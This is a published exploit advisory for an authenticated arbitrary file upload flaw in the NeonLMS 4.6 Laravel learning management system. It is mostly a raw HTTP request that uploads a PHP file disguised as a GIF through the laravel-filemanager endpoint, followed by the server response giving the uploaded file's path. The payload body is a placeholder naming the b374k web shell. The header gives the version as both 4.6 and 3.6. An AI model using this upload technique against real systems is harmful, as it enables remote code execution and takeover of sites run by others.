what you don't know can hurt you

NeonLMS 4.6 Shell Upload

NeonLMS 4.6 Shell Upload
Posted Jun 6, 2020
Authored by th3d1gger

NeonLMS version 3.6 suffers from an authenticated remote shell upload vulnerability.

tags | exploit, remote, shell
MD5 | 2c01c097ed4377f370cef2cfdd6872fb

NeonLMS 4.6 Shell Upload

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# Exploit Title: NeonLMS - Learning Management System PHP Laravel Script -(Authenticated) Arbitrary File Upload
# Exploit Author: th3d1gger
# Google Dork: N/A
# Type: Web App
# Date: 2020-05-29
# Vendor Homepage: https://www.neonlms.com/
# Software Link: https://codecanyon.net/item/neonlms-learning-management-system-php-laravel-script/23641351
# Affected Version: 4.6
# Tested on: Windows
# CVE : N/A

Attack request

POST /laravel-filemanager/upload?type=&_token=WCYpB81OELWdGBjZYZ9nx46JD80TooI9Kx9RgAB1 HTTP/1.1
Host: 192.168.1.5
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.5/laravel-filemanager/
Content-Type: multipart/form-data; boundary=---------------------------1163348127130442375319387716
Content-Length: 99799
Connection: close
Cookie: XSRF-TOKEN=eyJpdiI6InJobDdYNjJDTFN6djZWNTlMd1VndGc9PSIsInZhbHVlIjoiUTU0cXl2VUV6eXl6NkdFTnRWcHV3TUZHSkFMd3p4Z25kYW9CZkxyYlByMUM2bG53QWY4XC9tVm5NenZDK1hpaWMiLCJtYWMiOiIxOTdhM2Q4N2JhMTA5NzdkYTVkYmQ0OGQwNjA4ODk0NzViMTMzN2ExNTlmMTQyZTc0NDY3NjgyYWJlNzU1YTFiIn0%3D; neonlms_session=D0jKnf2hb6N1nYCVjEtBNJckMvh27UOaTpRINaxK; _ga=GA1.1.1625243451.1591282372; _gid=GA1.1.1993722441.1591282372; laravel_session=ZoHMEm2MdbfrrkmkPnFxtQckcj1I35p8Rsu7kUFd
Upgrade-Insecure-Requests: 1

-----------------------------1163348127130442375319387716
Content-Disposition: form-data; name="upload"; filename="b9.php.gif.php.php"
Content-Type: image/gif

GIF89a;
<?php
tested with b374k.php
?>
-----------------------------1163348127130442375319387716--

Result

HTTP/1.1 200 OK
Date: Thu, 04 Jun 2020 20:03:49 GMT
Server: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
X-Powered-By: PHP/7.4.6
Cache-Control: no-cache, private
Set-Cookie: XSRF-TOKEN=eyJpdiI6Ilp0MnNOUUNoa2R2OFZzUEJQWU45VGc9PSIsInZhbHVlIjoidWwyXC9UK3pjY2hyNERjc25QdENRTFBQYVNWRTFWU1wvaGNFalhoVGlJaWZ5dFNydXh5WEhqNG5wWkJ4T0VcL0gwRSIsIm1hYyI6IjI1MTkyYjcyMTkzNjczZTAwMGFkMzVhMzYyNzI2OTg4MGZmNWY5YWEzMmJiY2YyM2YyYTg1NTY2NzhiNmM1OWIifQ%3D%3D; expires=Thu, 04-Jun-2020 22:03:49 GMT; Max-Age=7200; path=/
Set-Cookie: neonlms_session=D0jKnf2hb6N1nYCVjEtBNJckMvh27UOaTpRINaxK; expires=Thu, 04-Jun-2020 22:03:49 GMT; Max-Age=7200; path=/; httponly
Content-Length: 663
Connection: close
Content-Type: text/html; charset=UTF-8

<script type='text/javascript'>

function getUrlParam(paramName) {
var reParam = new RegExp('(?:[\?&]|&)' + paramName + '=([^&]+)', 'i');
var match = window.location.search.match(reParam);
return ( match && match.length > 1 ) ? match[1] : null;
}

var funcNum = getUrlParam('CKEditorFuncNum');

var par = window.parent,
op = window.opener,
o = (par && par.CKEDITOR) ? par : ((op && op.CKEDITOR) ? op : false);

if (op) window.close();
if (o !== false) o.CKEDITOR.tools.callFunction(funcNum, 'http://192.168.1.5/files/20/b9.php.gif.php');
</script>


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